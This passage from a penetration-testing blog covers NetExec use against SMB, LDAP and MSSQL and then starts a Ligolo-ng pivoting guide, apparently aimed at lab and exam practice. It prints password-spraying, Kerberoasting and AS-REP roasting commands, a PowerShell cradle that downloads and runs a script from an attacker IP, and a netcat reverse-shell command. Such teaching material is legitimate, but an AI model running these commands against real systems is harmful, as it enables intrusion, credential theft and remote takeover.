SMB  10.129.42.211  445  DC  1108: SUPPORT\wilson.shelby (SidTypeUser)
...
SMB  10.129.42.211  445  DC  1120: SUPPORT\ford.victoria (SidTypeUser)
</code></pre>
<p>The well-known RIDs (500 Administrator, 502 krbtgt) come first, then the domain-created accounts commonly appear in the higher RID ranges, often 1000 and up. Those are the real users you feed into everything downstream. So the rule for anonymous user enum is simple: <strong>run</strong> <code>--users</code><strong>, and if it gives you nothing, run</strong> <code>--rid-brute</code> <strong>before you give up.</strong></p>
<h3>Export the Users Immediately</h3>
<p>If <code>--users</code> gives you a good list, do not copy names out of the terminal by hand. Write them straight to a file:</p>
<pre><code class="language-plaintext">nxc smb TARGET -u '' -p '' --users-export users.txt
</code></pre>
<p>Or once you have credentials:</p>
<pre><code class="language-plaintext">nxc smb TARGET -u USER -p PASSWORD --users-export users.txt
</code></pre>
<p>Now <code>users.txt</code> is ready to reuse everywhere:</p>
<pre><code class="language-plaintext">nxc smb TARGET -u users.txt -p 'Password123!'
</code></pre>
<p><strong>Enumerate once. Export once. Reuse everywhere.</strong></p>
<h3>Before Spraying, Check the Password Policy</h3>
<p>An underused flag: <code>--pass-pol</code>. Before I spray anything, I want to know the lockout and password policy.</p>
<pre><code class="language-plaintext">nxc smb TARGET -u USER -p PASSWORD --pass-pol
</code></pre>
<p>I want the lockout threshold, minimum length, password history, max age, and lockout duration, because a spray is not something I run blind. A threshold of <strong>3 attempts</strong> changes everything compared to no lockout at all. So the order is always: users, then policy, then spray carefully.</p>
<h3>Spraying and Credential Reuse</h3>
<p>Once I have a user list and a sane read on the policy, SMB is also where I spray. Feed it the file of users and a single password to test:</p>
<pre><code class="language-plaintext">nxc smb TARGET -u users.txt -p 'Welcome2024!'
</code></pre>
<p>Or feed it a password list instead of a single value:</p>
<pre><code class="language-plaintext">nxc smb TARGET -u users.txt -p passwords.txt
</code></pre>
<p>NXC pairs the credentials and reports each result, flagging valid ones with <code>[+]</code>. But by default it can stop chasing a given user once something works, and that is where one flag matters:</p>
<pre><code class="language-plaintext">nxc smb TARGET -u users.txt -p 'Welcome2024!' --continue-on-success
</code></pre>
<p><code>--continue-on-success</code> tells NXC to <strong>keep going after it finds a valid login instead of stopping.</strong> That is exactly what you want when you are hunting credential reuse: one password that works on <code>smith.rosario</code> might also work on <code>wilson.shelby</code> and <code>west.laura</code>, and shared local or service passwords are extremely common in AD. Without the flag you can confirm one hit and quietly miss the other five accounts using the same password. With it, you get the full picture of everywhere that credential lands.</p>
<p>Two things to keep in mind. Mind the lockout policy you just pulled, because a password list against every user is a lot of attempts, and <code>--continue-on-success</code> does not slow anything down, it just stops short-circuiting. And the same spraying pattern works across the other protocols too (<code>nxc ldap</code>, <code>nxc mssql</code>, <code>nxc winrm</code>), so once you have a working credential you can quickly answer "where else does this work?" by pointing the same list at a different protocol.</p>
<h3>Credential Validation</h3>
<p>Once I have a username and password, I come straight back to SMB:</p>
<pre><code class="language-plaintext">nxc smb TARGET -u USER -p PASSWORD
</code></pre>
<p>At this point I am not just asking <em>"is the password valid?"</em> I am asking <em>"where does this credential work, and what does it unlock?"</em> Across an AD box you will collect several credentials, and NXC makes it easy to keep answering that question for each one.</p>
<h3>Share Enumeration with Credentials</h3>
<p>If auth works, look at what you can now read:</p>
<pre><code class="language-plaintext">nxc smb TARGET -u USER -p PASSWORD --shares
</code></pre>
<p>I care most about custom shares like <code>Backups</code>, <code>Development</code>, <code>Finance</code>, <code>Scripts</code>, <code>Deploy</code>, or <code>IT</code>. Those hold user-created material: scripts, config files, backups, spreadsheets, database configs, keys, old exports. You can browse it all by hand, or let NXC do the boring part.</p>
<h3>spider_plus: Let NXC Crawl the Shares</h3>
<p>This is my favorite SMB module.</p>
<pre><code class="language-plaintext">nxc smb TARGET -u USER -p PASSWORD -M spider_plus
</code></pre>
<p><code>spider_plus</code> recursively walks readable shares and records what it finds, writing file metadata like paths, sizes, and timestamps locally. That alone saves a lot of manual navigation. But you usually want to cut the default noise first.</p>
<p>Here is a real run against Support with downloads on and only <code>IPC$</code> excluded:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/5005b445-e1b9-47a5-abcf-765db9ac9eda.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-plaintext">nxc smb 10.129.42.211 -u 'guest' -p '' --shares -M spider_plus -o EXCLUDE_FILTER='IPC$' DOWNLOAD_FLAG=TRUE OUTPUT_FOLDER=. MAX_FILE_SIZE=20000000
</code></pre>
<pre><code class="language-plaintext">SPIDER_PLUS  [*]  DOWNLOAD_FLAG: True
SPIDER_PLUS  [*] EXCLUDE_FILTER: ['ipc$']
SPIDER_PLUS  [*]   EXCLUDE_EXTS: ['ico', 'lnk']
SPIDER_PLUS  [*]  MAX_FILE_SIZE: 19.07 MB
SPIDER_PLUS  [+] Saved share-file metadata to "./10.129.42.211.json".
SPIDER_PLUS  [*] SMB Readable Shares:  2 (IPC$, support-tools)
SPIDER_PLUS  [*] Total files found:    7
SPIDER_PLUS  [*] Files filtered:       2
SPIDER_PLUS  [*] Downloads successful: 5
SPIDER_PLUS  [+] All files processed successfully.
</code></pre>
<p>Two things to read out of that stats block. It dropped the metadata into a JSON named after the target IP, so you always know where the inventory lives. And "Total files found: 7, Files filtered: 2, Downloads successful: 5" is the module telling you it skipped some. Files can be filtered by excluded extensions or the configured size cap, so when downloads come up short, that stats block is where you find out why.</p>
<p><strong>Filter the noise.</strong> If I am hunting user content, I do not want the spider grinding through every default admin share:</p>
<pre><code class="language-plaintext">nxc smb TARGET -u USER -p PASSWORD --shares -M spider_plus -o EXCLUDE_FILTER='IPC$,print$,C$,ADMIN$,NETLOGON,SYSVOL'
</code></pre>
<p>The module already excludes <code>print$</code> and <code>ipc$</code> by default, but spelling out the list lets you control exactly what gets skipped. One exception: <strong>do not blindly treat SYSVOL as useless.</strong> It can hold login scripts, deployment scripts, GPP remnants, and policy artifacts, so if that is what I am after, I leave it in. The rule is not "always ignore these," it is "do not crawl what you already know you do not need."</p>
<p><strong>Actually download files.</strong> By default spider_plus mostly inventories. To pull eligible files down to Kali, add <code>DOWNLOAD_FLAG=True</code>:</p>
<pre><code class="language-plaintext">nxc smb TARGET -u USER -p PASSWORD -M spider_plus -o DOWNLOAD_FLAG=True
</code></pre>
<p>This is a lifesaver when a share holds 300 files instead of 3. Nobody wants to <code>cd</code>, <code>ls</code>, <code>get</code>, <code>cd ..</code> on loop. Once the loot is local, use normal Linux tooling:</p>
<pre><code class="language-plaintext">grep -Rni 'password' .
grep -Rni 'secret' .
</code></pre>
<p>Now you are searching files locally instead of poking the remote share over and over.</p>
<p><strong>Watch MAX_FILE_SIZE.</strong> The default is <code>51200</code> bytes, about 50 KB, so downloads do not mean <em>every</em> file comes down. The module checks size against <code>MAX_FILE_SIZE</code> before pulling. Raise it as needed:</p>
<pre><code class="language-plaintext"># ~10 MB
nxc smb TARGET -u USER -p PASSWORD -M spider_plus -o DOWNLOAD_FLAG=True MAX_FILE_SIZE=10485760
</code></pre>
<p>Know that default. Otherwise you enable downloads, see files missing, and wrongly assume the module broke. On a real engagement, hoovering huge amounts of data is a different decision than doing it in a lab, so size accordingly.</p>
<p><strong>Control where it lands</strong> with <code>OUTPUT_FOLDER</code>:</p>
<pre><code class="language-plaintext">mkdir -p ./spidered
nxc smb TARGET -u USER -p PASSWORD -M spider_plus -o DOWNLOAD_FLAG=True MAX_FILE_SIZE=10485760 OUTPUT_FOLDER=./spidered
</code></pre>
<p>The module organizes everything under that folder by host, share, and remote path instead of dumping it into one giant pile.</p>
<p><strong>My full spider command</strong> when I have creds and several readable shares:</p>
<pre><code class="language-plaintext">nxc smb TARGET -u USER -p PASSWORD --shares -M spider_plus -o DOWNLOAD_FLAG=True MAX_FILE_SIZE=10485760 OUTPUT_FOLDER=./spidered EXCLUDE_FILTER='IPC$,print$,C$,ADMIN$,NETLOGON,SYSVOL'
</code></pre>
<p>That gives me share enumeration, recursive spidering, auto-download, a bigger size limit, a clean output directory, and noise filtering in one shot. It is not doing the pentest for me. It is removing repetitive file wrangling so I can spend my time figuring out which files actually matter.</p>
<h3>SMB Workflow</h3>
<pre><code class="language-plaintext"># Fresh target: the banner leaks (name:) + (domain:), add FQDN + domain to /etc/hosts
# Then check what's free
nxc smb TARGET -u '' -p '' --shares
nxc smb TARGET -u 'guest' -p '' --shares

# Even if shares fail, check users
nxc smb TARGET -u '' -p '' --users
nxc smb TARGET -u 'guest' -p '' --users

# If --users is empty, RID brute may still work
nxc smb TARGET -u 'guest' -p '' --rid-brute

# Export anything you get
nxc smb TARGET -u '' -p '' --users-export users.txt

# Once creds appear: policy, then validate, then shares
nxc smb TARGET -u USER -p PASSWORD --pass-pol
nxc smb TARGET -u USER -p PASSWORD
nxc smb TARGET -u USER -p PASSWORD --shares

# Spray a user list, keep going to catch reuse
nxc smb TARGET -u users.txt -p 'Welcome2024!' --continue-on-success

# Then spider and collect
nxc smb TARGET -u USER -p PASSWORD --shares -M spider_plus -o DOWNLOAD_FLAG=True MAX_FILE_SIZE=10485760 OUTPUT_FOLDER=./spidered EXCLUDE_FILTER='IPC$,print$,C$,ADMIN$,NETLOGON,SYSVOL'
</code></pre>
<p>Check what SMB gives you for free. Do not assume a failed share check</p>
<h2>Part 3: LDAP</h2>
<h3>A Few Jobs: Enumeration, Roasting, and Domain Collection</h3>
<p>Compared to SMB, my LDAP workflow is simple. NetExec has a ton of LDAP options, but in practice I reach for a few: check whether the domain allows anonymous LDAP enumeration, roast accounts straight from LDAP, and collect the domain for BloodHound once I have credentials.</p>
<h3>Always Check for Anonymous LDAP Bind</h3>
<p>Same instinct as anonymous SMB. Before I throw credentials at anything, I want to know what the domain gives up for free:</p>
<pre><code class="language-plaintext">nxc ldap DC_IP -u '' -p '' --users
</code></pre>
<p>If it works, <code>--users</code> can immediately hand me valid domain accounts, which again feed spraying, AS-REP roasting, Kerberos enumeration, and targeted attacks, all without a password. It is cheap enough that I always try it. If anonymous access is disabled, no big deal, LDAP becomes useful again the moment credentials show up.</p>
<h3>Roast Straight From LDAP</h3>
<p>The LDAP module does more than enumerate. It can pull two kinds of crackable Kerberos hashes directly, and both are worth running the moment you can.</p>
<p><strong>AS-REP roasting</strong> targets accounts that have Kerberos pre-authentication disabled. Anyone can request an AS-REP for those accounts and get back a chunk of data encrypted with the account's password, which you then crack offline. The useful part is that this one does not always need credentials. Point it at a user list with an empty password and it tests each name:</p>
<pre><code class="language-plaintext">nxc ldap DC_IP -u users.txt -p '' --asreproast asrep.txt
</code></pre>
<p>If you already have one valid domain credential, drop the list and let it find every pre-auth-disabled account for you:</p>
<pre><code class="language-plaintext">nxc ldap DC_IP -u USER -p PASSWORD --asreproast asrep.txt
</code></pre>
<p>Crack the results with hashcat mode 18200.</p>
<p><strong>Kerberoasting</strong> targets service accounts, the ones with a servicePrincipalName. NetExec requests a service ticket for each, and the ticket comes back encrypted with the service account's password. This one needs a domain account, or an AS-REP roastable account, to run:</p>
<pre><code class="language-plaintext">nxc ldap DC_IP -u USER -p PASSWORD --kerberoasting kerb.txt
</code></pre>
<p>Crack those with hashcat mode 13100.</p>
<p>Both write their hashes to the file you name, so you can feed it straight to your cracker. And if the account you want to roast has no SPN of its own, NetExec can set one temporarily with <code>--targeted-kerberoast</code>, provided you have write access to that account's servicePrincipalName.</p>
<h3>Credentials Obtained? Collect the Domain</h3>
<p>Once I have valid domain credentials, one of my first priorities is getting the environment into BloodHound. NetExec can run the collection directly:</p>
<pre><code class="language-plaintext">nxc ldap DC_IP -u USER -p PASSWORD --bloodhound -d DOMAIN -c All --dns-server DC_IP
</code></pre>
<p>One from my notes:</p>
<pre><code class="language-plaintext">nxc ldap 10.10.10.100 -u 'svc_tgs' -p 'GPPstillStandingStrong2k18' --bloodhound -d active.htb -c All --dns-server 10.10.10.100
</code></pre>
<p>The pieces that matter: <code>--bloodhound</code> runs the collection, <code>-d</code> sets the domain, <code>-c All</code> requests the full collection set, and <code>--dns-server</code> points DNS at the domain controller, which saves a lot of headaches in labs where Kali can't resolve the internal AD domain. Current NXC supports BloodHound CE collection and exposes methods including All, ACL, ADCS, Session, LocalAdmin, and RDP, among others.</p>
<p>Once the collection finishes, I import it into BloodHound and stop looking at the domain as individual machines. I start looking at relationships: users, groups, computers, ACLs, sessions, delegation, AD CS, and privilege paths. That is where Active Directory starts making sense as an attack graph.</p>
<h3>Quick Note on RustHound-CE</h3>
<p>Even though NXC collects BloodHound data fine, RustHound-CE is my external collector of choice, and LAPS is one of the biggest reasons. RustHound processes both legacy LAPS attributes (<code>ms-Mcs-AdmPwd</code>) and newer Windows LAPS attributes (<code>msLAPS-Password</code>), so if the account I am collecting with can read the password, RustHound surfaces it during collection. Finding a readable LAPS password automatically while you are already mapping the domain is a great thing to stumble into. I am not turning this into a RustHound tutorial here; it gets its own Toolkit post.</p>
<h3>LDAP Workflow</h3>
<pre><code class="language-plaintext"># Fresh DC: check what LDAP gives you for free
nxc ldap DC_IP -u '' -p '' --users

# Roast what you can (AS-REP works with just a user list)
nxc ldap DC_IP -u users.txt -p '' --asreproast asrep.txt

# Once credentials appear: roast service accounts, then collect the domain
nxc ldap DC_IP -u USER -p PASSWORD --asreproast asrep.txt
nxc ldap DC_IP -u USER -p PASSWORD --kerberoasting kerb.txt
nxc ldap DC_IP -u USER -p PASSWORD --bloodhound -d DOMAIN -c All --dns-server DC_IP
</code></pre>
<p>Before credentials: see what LDAP gives up and AS-REP roast a user list. After credentials: roast the service accounts, then map the domain, then import into BloodHound and find the attack path.</p>
<pre><code class="language-plaintext"># AS-REP roast (user list, no creds)
nxc ldap DC_IP -u users.txt -p '' --asreproast asrep.txt

# AS-REP roast (authenticated)
nxc ldap DC_IP -u USER -p PASSWORD --asreproast asrep.txt

# Kerberoast
nxc ldap DC_IP -u USER -p PASSWORD --kerberoasting kerb.txt
</code></pre>
<hr />
<h2>Part 4: MSSQL</h2>
<h3>Where NXC Really Saves Me Time</h3>
<p>MSSQL is one of my favorite quality-of-life wins in NetExec. I do not use it for twenty things. The main reason I reach for it is one question: <strong>I have SQL credentials, can I turn them into OS command execution?</strong></p>
<p>Start by validating:</p>
<pre><code class="language-plaintext">nxc mssql TARGET -u USER -p PASSWORD --local-auth
</code></pre>
<p>From a lab:</p>
<pre><code class="language-plaintext">nxc mssql 10.129.232.128 -u sa -p 'MSSQLP@ssw0rd!' --local-auth
</code></pre>
<pre><code class="language-plaintext">MSSQL  10.129.232.128  1433  DC01  [*] Windows Server 2019 (name:DC01) (domain:sequel.htb)
MSSQL  10.129.232.128  1433  DC01  [+] DC01\sa:MSSQLP@ssw0rd! (Pwn3d!)
</code></pre>
<p>That <code>(Pwn3d!)</code> matters. NXC checks <code>SELECT IS_SRVROLEMEMBER('sysadmin')</code> during auth, and if the login is a SQL Server sysadmin, it flags it. So I already know I am holding something powerful.</p>
<h3>-x for Commands</h3>
<pre><code class="language-plaintext">nxc mssql TARGET -u USER -p PASSWORD --local-auth -x whoami
</code></pre>
<pre><code class="language-plaintext">MSSQL  10.129.232.128  1433  DC01  [+] Executed command via mssqlexec
MSSQL  10.129.232.128  1433  DC01  sequel\sql_svc
</code></pre>
<p>That is the transition I care about: <strong>SQL credentials to MSSQL auth to OS command execution.</strong> One flag.</p>
<h3>-X for PowerShell</h3>
<p>Uppercase <code>X</code> runs PowerShell:</p>
<pre><code class="language-plaintext">nxc mssql TARGET -u USER -p PASSWORD --local-auth -X "IEX (New-Object Net.WebClient).DownloadString('http://10.10.15.205/shell.ps1')"
</code></pre>
<p>Easiest way to remember it: <strong>lowercase</strong> <code>-x</code> <strong>is a command, uppercase</strong> <code>-X</code> <strong>is PowerShell.</strong></p>
<h3>NXC Handles xp_cmdshell for You</h3>
<p>This is my favorite part of the module. OS command execution through SQL Server normally rides on <code>xp_cmdshell</code>, which is often disabled. Working manually through Impacket's <code>mssqlclient</code>, you enable it yourself:</p>
<pre><code class="language-plaintext">SQL&gt; enable_xp_cmdshell
SQL&gt; xp_cmdshell whoami
</code></pre>
<p>NetExec removes that friction. When you run <code>-x</code>, NXC checks the state of <code>show advanced options</code> and <code>xp_cmdshell</code>, and if either is disabled and your account can change it, NXC temporarily enables it, runs <code>exec master..xp_cmdshell 'COMMAND'</code>, and here is the clean part: <strong>it restores the original state afterward.</strong> If xp_cmdshell started disabled, NXC re-disables it when it is done. If it was already enabled, NXC leaves it alone. Same logic for <code>show advanced options</code>.</p>
<p>So <code>-x</code> gives you automatic setup without leaving SQL Server reconfigured after a single command. NXC obviously cannot enable it if your account lacks the privilege, but when the account has it, <code>-x whoami</code> becomes my fast <em>"can this SQL access become OS execution?"</em> check.</p>
<h3>mssql_priv: When You Are Not Sysadmin Yet</h3>
<p>Not every valid SQL credential lands as <code>sa</code>. That is what the <code>mssql_priv</code> module is for:</p>
<pre><code class="language-plaintext">nxc mssql TARGET -u USER -p PASSWORD -M mssql_priv
</code></pre>
<p>It looks at the current user's privileges and tries to find a path up. It checks whether you are already sysadmin, whether you can impersonate another login, whether <em>that</em> login can impersonate someone else, and whether the chain eventually reaches a sysadmin, plus <code>db_owner</code> rights on a trusted database. So it can reason through something like:</p>
<pre><code class="language-plaintext">low_priv_login  -&gt;  impersonate USER_B  -&gt;  USER_B impersonates USER_C  -&gt;  USER_C is sysadmin
</code></pre>
<p>It supports <code>ACTION=enum_priv</code>, <code>ACTION=privesc</code>, and <code>ACTION=rollback</code>, defaulting to enumeration. So first I just enumerate:</p>
<pre><code class="language-plaintext">nxc mssql TARGET -u USER -p PASSWORD -M mssql_priv
</code></pre>
<p>If it finds a route and I am authorized to test it:</p>
<pre><code class="language-plaintext">nxc mssql TARGET -u USER -p PASSWORD -M mssql_priv -o ACTION=privesc
</code></pre>
<p>And it can roll the granted sysadmin privilege back:</p>
<pre><code class="language-plaintext">nxc mssql TARGET -u USER -p PASSWORD -M mssql_priv -o ACTION=rollback
</code></pre>
<p>That turns a pile of manual SQL privilege queries into one question: <em>does this login have a route to sysadmin?</em> I do not reach for it as often as <code>-x</code> and <code>-X</code>, but it is absolutely worth knowing.</p>
<h3>MSSQL Workflow</h3>
<pre><code class="language-plaintext"># Validate. (Pwn3d!) means sysadmin.
nxc mssql TARGET -u USER -p PASSWORD --local-auth

# Command execution
nxc mssql TARGET -u USER -p PASSWORD --local-auth -x whoami

# PowerShell
nxc mssql TARGET -u USER -p PASSWORD --local-auth -X "POWERSHELL_COMMAND"

# Valid but not sysadmin? Look for a privesc path.
nxc mssql TARGET -u USER -p PASSWORD -M mssql_priv
</code></pre>
<p>Shortcut: <code>-x</code> = command, <code>-X</code> = PowerShell, <code>mssql_priv</code> = find SQL privilege escalation.</p>
<hr />
<h2>How the Three Modules Fit Together</h2>
<p>This is the whole point of the post. Do not think of these as disconnected tricks. Think about how they chain through one engagement.</p>
<p>Start with <strong>SMB</strong> and see what is free:</p>
<pre><code class="language-plaintext">nxc smb TARGET -u '' -p '' --shares
nxc smb TARGET -u '' -p '' --users
</code></pre>
<p>Maybe anonymous user enumeration works, so export the list. Eventually you get credentials, so check the policy, validate, look at shares, and spider the interesting ones. Somewhere in that loot you pull another credential.</p>
<p>Now move to <strong>LDAP</strong> and map the domain:</p>
<pre><code class="language-plaintext">nxc ldap DC_IP -u USER -p PASSWORD --bloodhound -d DOMAIN -c All --dns-server DC_IP
</code></pre>
<p>BloodHound shows you the relationships. Eventually you discover <strong>MSSQL</strong>, validate the login, and turn it into execution:</p>
<pre><code class="language-plaintext">nxc mssql TARGET -u USER -p PASSWORD --local-auth
nxc mssql TARGET -u USER -p PASSWORD --local-auth -x whoami
</code></pre>
<p>SMB tells you what the Windows environment gives you. LDAP tells you what the domain gives you. MSSQL tells you what the SQL Server gives you. All three run through the same tool, and NXC stays relevant as the engagement changes shape.</p>
<hr />
<h2>Quick Reference</h2>
<p><strong>SMB</strong></p>
<pre><code class="language-plaintext"># Anonymous / guest shares
nxc smb TARGET -u '' -p '' --shares
nxc smb TARGET -u 'guest' -p '' --shares

# Anonymous / guest users
nxc smb TARGET -u '' -p '' --users
nxc smb TARGET -u 'guest' -p '' --users

# RID brute forcing fallback when --users is empty
nxc smb TARGET -u 'guest' -p '' --rid-brute

# Export users
nxc smb TARGET -u '' -p '' --users-export users.txt

# Password policy
nxc smb TARGET -u USER -p PASSWORD --pass-pol

# Spray a user list with one password, or a password list
nxc smb TARGET -u users.txt -p 'Welcome2024!' --continue-on-success
nxc smb TARGET -u users.txt -p passwords.txt --continue-on-success

# Validate credentials
nxc smb TARGET -u USER -p PASSWORD

# Shares
nxc smb TARGET -u USER -p PASSWORD --shares

# Full spider_plus workflow
nxc smb TARGET -u USER -p PASSWORD --shares -M spider_plus -o DOWNLOAD_FLAG=True MAX_FILE_SIZE=10485760 OUTPUT_FOLDER=./spidered EXCLUDE_FILTER='IPC$,print$,C$,ADMIN$,NETLOGON,SYSVOL'
</code></pre>
<p><strong>LDAP</strong></p>
<pre><code class="language-plaintext"># Anonymous users
nxc ldap DC_IP -u '' -p '' --users

# BloodHound collection
nxc ldap DC_IP -u USER -p PASSWORD --bloodhound -d DOMAIN -c All --dns-server DC_IP
</code></pre>
<p><strong>MSSQL</strong></p>
<pre><code class="language-plaintext"># Validate SQL credentials
nxc mssql TARGET -u USER -p PASSWORD --local-auth

# Execute command
nxc mssql TARGET -u USER -p PASSWORD --local-auth -x whoami

# Execute PowerShell
nxc mssql TARGET -u USER -p PASSWORD --local-auth -X "POWERSHELL_COMMAND"

# Enumerate SQL privilege escalation
nxc mssql TARGET -u USER -p PASSWORD -M mssql_priv
</code></pre>
<p>Remember: <code>-x</code> = command, <code>-X</code> = PowerShell.</p>
<hr />
<h2>The One Thing to Remember</h2>
<p>NetExec is not valuable because it has a giant pile of flags. It is valuable because it lets you keep moving without constantly switching tools. Check anonymous SMB, enumerate and export users, read the password policy, validate credentials, hunt through shares, pull loot, query LDAP, collect BloodHound data, authenticate to MSSQL, spot sysadmin access, run CMD or PowerShell, and find SQL privesc paths, all from one tool. Then take whatever you learned from one protocol and feed it straight into the next.</p>
<p>Do not try to memorize every NXC flag. Know the job you need done, pick the protocol, give it what you currently know, see what comes back, and keep moving. That is how I actually use it.</p>
<p>For the full attack chains where these techniques show up in context, check out the penetration testing writeups across the rest of <a href="https://www.hack2harden.com/">Hack2Harden</a>.</p>
<p><em>Find. Fix. Fortify.</em></p>
]]></content:encoded></item><item><title><![CDATA[The OSCP Toolkit: Ligolo-ng]]></title><description><![CDATA[How I actually use Ligolo-ng to pivot: the mental model, the minimal workflow to get a working tunnel, and the listener, file transfer, and troubleshooting workflows for when you need more.
This is th]]></description><link>https://www.hack2harden.com/the-oscp-toolkit-ligolo-ng</link><guid isPermaLink="true">https://www.hack2harden.com/the-oscp-toolkit-ligolo-ng</guid><dc:creator><![CDATA[Deonte Spencer]]></dc:creator><pubDate>Tue, 11 Aug 2026 04:04:59 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/a562f76c-d02d-4f17-8783-d3f076abb96d.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><em>How I actually use Ligolo-ng to pivot: the mental model, the minimal workflow to get a working tunnel, and the listener, file transfer, and troubleshooting workflows for when you need more.</em></p>
<p>This is the first deep dive in the OSCP Toolkit series</p>
<p><a href="https://www.hack2harden.com/the-oscp-toolkit-the-tools-that-actually-carried-me">https://www.hack2harden.com/the-oscp-toolkit-the-tools-that-actually-carried-me</a></p>
<p>The hub explains where Ligolo fits in the bigger picture. This one is the how, straight from my own workflow.</p>
<p>/I'm going to keep this the way I actually run it: shortest useful path first, commands before theory, one default before alternatives. Get a pivot working, then reach for the extra stuff only when the box makes you.</p>
<h2>Part 1: What Ligolo Is, and the One Idea That Makes It Click</h2>
<p>Ligolo-ng is a tunneling and pivoting tool. You get a foothold on a host that can see an internal network you can't, and Ligolo turns that host into a doorway so you can attack what's behind it.</p>
<p>Here's the whole mental model, and if you get this one thing the rest of Ligolo makes sense:</p>
<p><strong>Routes are for Kali reaching in. Listeners are for targets calling back.</strong></p>
<p>Those are two different jobs and two different directions.</p>
<ul>
<li><p><strong>Route:</strong> you add a route through the tunnel, and now Kali can reach internal hosts directly. Traffic goes Kali to pivot to internal target. This is how you scan, enumerate, and attack machines on the inside.</p>
</li>
<li><p><strong>Listener:</strong> an internal target needs to connect back to you (a reverse shell, a file download). The listener binds on the pivot, the target calls the pivot's IP, and Ligolo forwards that connection home to Kali. Traffic goes internal target to pivot to Kali.</p>
</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/1495b6a8-44a9-46b7-9f73-096af93684dd.png" alt="" style="display:block;margin:0 auto" />

<p><em>Routes push you into the network. Listeners pull a callback back out to you. Keep these two straight and Ligolo stops being confusing.</em></p>
<p>Most of your work is routing. Listeners come up only when a target has to talk back to you, and I'll give them their own section later. For now, just hold the split: reaching in is a route, calling back is a listener.</p>
<h2>Part 2: The Minimal Pivot (This Is 90% of What You'll Do)</h2>
<p>This is the core workflow. Proxy on Kali, agent on the pivot, start the tunnel, forward a route, verify. Nothing else. If all you ever learn is this section, you can pivot.</p>
<h3>Step 1: Start the proxy on Kali</h3>
<p>The proxy is the Kali-side Ligolo server. Your agent connects back to it.</p>
<pre><code class="language-plaintext">sudo ligolo-proxy -selfcert
</code></pre>
<p>It will prompt you: <code>? Enable Ligolo-ng WebUI?</code> Answer <code>No</code>. It then listens on <code>0.0.0.0:11601</code> by default. Leave it running in its own terminal.</p>
<h3>Step 2: Get the agent onto the pivot and run it</h3>
<p>The agent is the small binary that runs on your foothold host and connects back to your proxy. Transfer it however you normally move files (your route-side HTTP server, SMB, whatever you already have), then run it.</p>
<p><strong>On a Linux pivot:</strong></p>
<pre><code class="language-plaintext">chmod +x ./agent
./agent -connect 192.168.45.185:11601 -ignore-cert
</code></pre>
<p>If you need the tunnel to survive after your shell command returns, background it:</p>
<pre><code class="language-plaintext">nohup ./agent -connect 192.168.45.185:11601 -ignore-cert &gt;/tmp/ligolo.log 2&gt;&amp;1 &amp;
</code></pre>
<p><strong>On a Windows pivot:</strong></p>
<pre><code class="language-plaintext">C:\ProgramData\agent.exe -connect 192.168.45.185:11601 -ignore-cert
</code></pre>
<p>From a shell where you need it backgrounded (Evil-WinRM, for example):</p>
<pre><code class="language-plaintext">Start-Process -FilePath "C:\ProgramData\agent.exe" -ArgumentList "-connect 192.168.45.185:11601 -ignore-cert"
</code></pre>
<p>Replace <code>192.168.45.185</code> with your Kali VPN IP. <code>-ignore-cert</code> is what lets it accept the self-signed cert from <code>-selfcert</code>.</p>
<p>One rule I learned the annoying way: <strong>one pivot, one agent.</strong> Duplicate agents cause unstable sessions, routes that vanish, and listeners that work once then die. If things get weird, kill extra agents (<code>pkill -f agent</code> on Linux, <code>taskkill /F /IM agent.exe</code> on Windows) and run one clean one.</p>
<h3>Step 3: Select the session and start the tunnel</h3>
<p>Back in the Ligolo console on Kali:</p>
<pre><code class="language-plaintext">session
</code></pre>
<p>Pick your agent from the list, then:</p>
<pre><code class="language-plaintext">start
</code></pre>
<p>That brings up the <code>ligolo</code> interface on Kali. The tunnel is live, but Kali doesn't know to send anything through it yet. That's the route.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/24303ff8-92b3-4cb0-a2cd-85ac93a40a4e.png" alt="" style="display:block;margin:0 auto" />

<h3>Step 4: Forward a route (subnet or single host)</h3>
<p>This is the crux of the whole tool. You tell Kali to send traffic for the internal network through the Ligolo interface. You have two options, and you'll use both depending on the situation.</p>
<p><strong>Forward the whole subnet</strong> when you want to reach everything on the inside:</p>
<pre><code class="language-plaintext">sudo ip route add 10.10.168.0/24 dev ligolo
</code></pre>
<p><strong>Forward a single host</strong> with a <code>/32</code> when you only care about one machine (cleaner, and avoids clobbering routes you already have):</p>
<pre><code class="language-plaintext">sudo ip route add 10.10.168.148/32 dev ligolo
</code></pre>
<p>Quick note so nobody gets stuck: the interface is usually named <code>ligolo</code>, but depending on version it can show up as <code>ligolo0</code>. Run <code>ip addr</code> to see the real name on your box and use that in the command.</p>
<h3>Step 5: Prove the route works before you do anything else</h3>
<p>Do not start hunting shells until you've confirmed Kali can actually reach the inside. Test it:</p>
<pre><code class="language-plaintext">nxc smb 10.10.168.148
</code></pre>
<p>If NetExec talks to the internal host, your pivot works and you're clear to attack. If it doesn't, the problem is your route or your agent, not the target, and that's where you focus.</p>
<p>That's it. Proxy, agent, start, route, verify. <strong>Prove routing before chasing shells</strong> and you'll save yourself a lot of wasted time.</p>
<h2>Part 3: When You Need More</h2>
<p>Everything above gets you a working pivot. The rest of this you reach for only when a specific box demands it.</p>
<h3>Listeners: when a target has to call back to you</h3>
<p>Here's the exact situation where this comes up, and it's a good one to burn in. Say I've got subnet routes into the internal network and I need to land SigmaPotato on a host to abuse SeImpersonate. I can <em>reach</em> the host over my route, but the payload needs to send a shell <em>back</em> to me, and the internal target can't route to my Kali VPN IP directly. It can only reach the pivot.</p>
<p>So I stand up a listener on the pivot. The target calls the <strong>pivot's</strong> internal IP, and Ligolo forwards that connection home to Kali.</p>
<p><strong>My default listener:</strong></p>
<pre><code class="language-plaintext">listener_add --addr 0.0.0.0:9999 --to 127.0.0.1:9999 --tcp
</code></pre>
<p>Reading it: <code>0.0.0.0</code> means the pivot listens on all its interfaces, <code>9999</code> is an uncommon high port that avoids conflicts, and <code>127.0.0.1:9999</code> forwards the connection back to a service listening on Kali.</p>
<p>Then the payload on the target calls the <strong>pivot IP</strong>, not Kali:</p>
<pre><code class="language-plaintext">C:\ProgramData\nc.exe -e cmd.exe 10.10.168.147 9999
</code></pre>
<p>And you catch it on Kali:</p>
